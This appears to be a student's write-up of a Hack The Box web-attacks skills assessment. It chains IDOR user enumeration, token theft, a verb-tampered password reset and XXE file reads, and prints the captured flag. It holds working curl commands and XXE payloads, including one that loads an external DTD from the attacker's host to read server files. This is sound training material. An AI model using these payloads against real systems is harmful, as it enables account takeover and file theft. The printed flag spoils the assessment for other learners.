Web Attacks Skills Assesment

first thing I notice is that the cookie uid is sequential. Thus, I try to perform #IDOR on it #cookie_manipulation . And indeed it worked. Adding or subtracting UID gives me different user profiles
Pasted image 20241223034502.png

Here is the bad code that allows IDOR
Pasted image 20241223035331.png
find account owned by admin

for i in {1..1000}; do curl -s http://83.136.254.158:35140/api.php/user/$i | grep -iE 'admin'; done
{"uid":"52","username":"a.corrales","full_name":"Amor Corrales","company":"Administrator"}

As we can see in the change password page, the js code visits /api.php/token/(uid number) to obtain the token, so we can leverage this to generate a token for the admin, and in turn use it to change the password of the admin.
Pasted image 20241223043748.png

> curl -s http://94.237.61.84:35313/api.php/token/52
{"token":"e51a85fa-17ac-11ec-8e51-e78234eb7b0c"}

after we obtained the token, we can attempt to do a #SSRF and change the password of the admin using the token.

we change the token to the above and uid = 52. Furthermore, we need #http_verb_tampering to bypass defenses by changing the method from POST to GET.

this worked:

> curl 'http://94.237.59.180:49661/reset.php?uid=52&token=e51a85fa-17ac-11ec-8e51-e78234eb7b0c&password=asd' \
-H 'Cookie: PHPSESSID=3bvs9r67h8mtue3eo4vn9ol6ga; uid=74'

Password Changed Successfully

Pasted image 20241223081303.png
Pasted image 20241223082804.png
I also learned something new today. In burp suite you need two extra lines after the request.

Now we can log in as admin.

The admin page has a new feature event where I could add events. Here's the code

<script>
        function XMLFunction() {
            var xml = `
            <root>
            <name>${$('#name').val()}</name>
            <details>${$('#details').val()}</details>
            <date>${$('#date').val()}</date>
            </root>
            `;

            fetch(`addEvent.php`, {
                method: 'POST',
                body: xml,
            }).then(function(response) {
                return response.text();
            }).then(function(res) {
                $('#error_string').html(res);
            });
        };
    </script>

as we can see that this is xml. So we could attempt #XXE. Let me submit anything and see if any element will be displayed on the page.
Pasted image 20241223103514.png
The event name gets displayed. If so, we can just leverage this to display the content of flag.php.

  1. host the file on our end
echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
python3 -m http.server 8000
  1. inject xxe
<!DOCTYPE name [
  <!ENTITY % begin "<![CDATA["> 
  <!ENTITY % file SYSTEM "file:///var/www/html/flag.php"> 
  <!ENTITY % end "]]>">
  <!ENTITY % xxe SYSTEM "http://10.10.14.110:8000/xxe.dtd"> 
  %xxe;
]>
...
<name>&joined;</name> 

This didn't really work. Let's try base64

<!DOCTYPE name [
  <!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=/flag.php">
]>

response:

HTTP/1.1 200 OK
Date: Mon, 23 Dec 2024 16:04:49 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 86
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

Event 'PD9waHAgJGZsYWcgPSAiSFRCe200NTczcl93M2JfNDc3NGNrM3J9IjsgPz4K' has been created.

decode:

echo 'PD9waHAgJGZsYWcgPSAiSFRCe200NTczcl93M2JfNDc3NGNrM3J9IjsgPz4K' | base64 -d

<?php $flag = "HTB{m4573r_w3b_4774ck3r}"; ?>